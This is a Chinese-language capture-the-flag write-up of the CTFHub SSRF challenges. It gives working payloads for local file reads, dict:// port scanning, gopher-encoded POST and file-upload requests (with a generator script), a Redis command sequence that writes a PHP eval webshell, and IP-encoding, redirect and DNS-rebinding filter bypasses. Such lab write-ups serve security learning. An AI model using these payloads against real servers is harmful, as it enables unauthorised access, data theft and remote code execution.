CTFHub——SSRF

发布时间 2023-10-03 13:46:52作者: 你呀你~

一、内网访问

payload:http://127.0.0.1/flag.php(请求网页)
payload:file://127.0.0.1/var/www/html/flag.php (得到flag.php的文件内容)

二、伪协议读取文件

payload:file:///var/www/html/flag.php file协议读取文件内容,不会进行执行

三、端口扫描

payload:dict://127.0.0.1: 使用bp或者编写脚本进行爆破

  • dict协议介绍:DICT是由DICT开发组创建的一个字典网络传输协议[1]。1997年发表的RFC 2229首次提及该协议。用户的客户端通过DICT可以访问字典服务器查阅字典。DICT服务器和客户端使用TCP

四、POST请求

  1. 使用file协议获取源码payload:file:///var/www/html/flag.php
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
  1. 使用http协议访问flag.php得到提示的key:008cde4f767bfa89e29a23e27296cfda
  2. gopher协议构造POST请求
  • 首先构造好POST包
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-from-urlencode
Conternt-Length: 36

key=03499acda74bec0b33186c3fe7b8cc9d
  • 进行第一次编码发gopher
  • 再次进行编码发http请求
  • payload:
    总结:
  • GET型请求所需参数:
GET /testg.php?name=niyani HTTP/1.1
Host: 10.211.55.2
  • POST型请求所需参数:(必须的四个)
POST /testg.php HTTP/1.1
Host: 10.211.55.2
Content-Type: application/x-www-from-urlencode
Conternt-Length: 8

name=123
  • 工具https://github.com/tarunkant/Gopherus
  • 脚本
import urllib.parse

host = "127.0.0.1:80"
content = "key=03499acda74bec0b33186c3fe7b8cc9d"
content_length = len(content)

test =\
"""POST /flag.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(host,content_length,content)

tmp = urllib.parse.quote(test)  
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)  
print("gopher://"+host+"/_"+result)

五、上传文件


1.使用file协议先查看flag.php的内容

2.通过index.php上传文件到flag.php,使用gopher协议发文件。先本地上传文件进行抓包。

//文件上传接口
<form action="/flag.php" method="post" enctype="multipart/form-data">
        <input type="file" name="file">
        <input type="submit" name="submit">
    </form>

3.使用脚本对POST包进行编码

gopher://127.0.0.1:80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520niyani.com%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A109.0%2529%2520Gecko/20100101%2520Firefox/118.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------9416090372567937650722377634%250D%250AContent-Length%253A%2520369%250D%250AOrigin%253A%2520http%253A//niyani.com%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//niyani.com/1.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------9416090372567937650722377634%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520phpinfo%2528%2529%253F%253E%250D%250A-----------------------------9416090372567937650722377634%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%25E6%259F%25A5%25E8%25AF%25A2%250D%250A-----------------------------9416090372567937650722377634--%250D%250A

4.使用hackbar发包得到flag

六、FastCGI协议

1.使用工具生成payload

2.将gopher协议要发送的内容再url编码一次进行发送


总结:

  • 参考链接
  • web服务器和FastCGi程序之间大概的消息发送流程:
    • 1、web服务器向FastCGI程序发送一个 8 字节 type=FCGI_BEGIN_REQUEST的消息头和一个8字节 FCGI_BeginRequestBody 结构的 消息体,标志一个新请求的开始
    • 2、web服务器向FastCGI程序发送一个 8 字节 type=FCGI_PARAMS 的消息头 和一个消息头中指定长度的FCGI_PARAMS类型消息体
    • 3、根据FCGI_PARAMS消息的长度可能重复步骤 2 多次,最终发送一个 8 字节 type=FCGI_PARAMS 并且 contentLengthB1 和 contentLengthB0 都为 0 的消息头 标志 FCGI_PARAMS 消息发送结束
    • 4、以和步骤2、3相同的方式 发送 FCGI_STDIN 消息
    • 5、FastCGI程序处理完请求后 以和步骤2、3相同的方式 发送 FCGI_STDOUT消息 和 FCGI_STDERR 消息返回给服务器
    • 6、FastCGI程序 发送一个 type= FCGI_END_REQUEST 的消息头 和 一个8字节 FCGI_EndRequestBody 结构的消息体,标志此次请求结束
  • 对一个 CGI 程序,做的工作其实只有:从环境变量(environment variables)和标准输入(standard input)中读取数据、处理数据、向标准输出(standard output)输出数据。环境变量中存储的叫 Request Meta-Variables,也就是诸如 QUERY_STRING、PATH_INFO 之类的东西,这些是由 Web Server 通过环境变量传递给 CGI 程序的,CGI 程序也是从环境变量中读取的。标准输入中存放的往往是用户通过 PUTS 或者 POST 提交的数据,这些数据也是由 Web Server 传过来的。
  • FastCGI 正是对 CGI 的改进,而且改进了不是一点点。从总体上看,一个 FastCGI 进程可以处理若干请求(一般 FastCGI 进程是驻留着的,但不排除 IIS 之类的 Web Server 限制其空闲时间,在一段时间内没有请求就自动退出的可能),Web Server 或者 fpm 会控制 FastCGI 进程的数量。细节方面,FastCGI 是一套协议,不再是通过简单的环境变量、标准输入和标准输出来接收和传递数据了。一般来说,FastCGI 用 TCP 或者命名管道(Named Pipe)传输数据。

七、Redis协议

  1. Redis未授权访问(由于配置错误导致的无需身份认证访问redis),导致攻击者可以窃取数据、反弹shell、数据备份操作主从复制、命令执行
  2. 由于从内网访问无需授权,所以要结合SSRF来进行攻击。若出现在公网的redis未授权访问,直接发gopher就能利用,无需ssrf
  3. 本题通过gopher协议来执行redis协议命令写入webshell。
  4. 可以先写好Redis协议命令执行语句,接着使用脚本进行gopher协议包的生成
flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
  1. 或者直接使用gopherus工具生成payload
  2. 注意要在对gohper后面的内容进行url编码一次
  3. 传完后不知道为啥没响应,但是shell.php确实传上去了的
    总结:
  • 常用命令语法
  • 参考链接
  • Redis是基于RESP协议编写的
  • RESP是一个支持以下数据类型的序列化协议:简单字符串(Simple Strings),错误(Errors),整数(Integers),块字符串(Bulk Strings)和数组(Arrays)。
  • Redis支持通信服务和命令管道
  • 在Redis中,RESP用作 请求-响应 协议的方式如下:
    1. 客户端将命令作为批量字符串的RESP数组发送到Redis服务器。
    2. 服务器(Server)根据命令执行的情况返回一个具体的RESP类型作为回复。

八、URL Bypass

  1. 使用@将前面的视为用户名绕过。payload为:http://notfound.ctfhub.com@127.0.0.1/flag.php

九、数字IP Bypass

  1. 由题目可知ban掉了127以及172.不能使用点分十进制的IP了
  2. 使用域名绕过localhost
  3. 或者直接http://0/flag.php。
  4. 或者使用其他进制八进制:0177.000.000.001;十进制:127.0.0.1;十六进制:0x7f000001(在线IP地址转换
  5. 再或者使用十进制(没有点分)http://2130706433/flag.php,同理八进制也可以017700000001(注意高位不够三位要凑零),十六进制要加0x,0x7f000001

    总结:
  • IP地址本质上就是三十二位二进制串,为了增加可读性,所以由点分十进制的形式,但其实,直接将该二进制按进制转换为十进制或其他进制也能使用
  • 127.0.0.1 == 2130706433(十)== 017700000001(八)== 0x7f000001(十六)
  • 127.0.0.1 == 0 == localhost

十、302跳转 Bypass

  1. 此题目应该是要我们使用重定向漏洞来绕过过滤,但使用如下payload能绕过:http://0/flag.php
  2. 先要找出有重定向漏洞的页面,使用ssrf访问该页面,再通过该页面重定向到其他的页面进行Bypass
  3. 因为第一次是访问的重定向漏洞页面,所以可以绕过过滤。
  4. 在网站路径中没找到有重定向漏洞的页面,可以使用xip.io网站,但貌似该网站无了。
  5. 但可以使用https://nip.io/或者https://local.gd/或者https://sslip.io/替代
  6. startup.local.gd可以重定向到127.0.0.1

十一、DNS重绑定 Bypass

  1. 参考链接
  2. DNS重绑定可以实现将域名解析为多个IP的作用
  3. 利用重绑定网站首先将域名解析为非127.0.0.1,然后再解析为127.0.0.1。
  4. 有时候可能要多试几次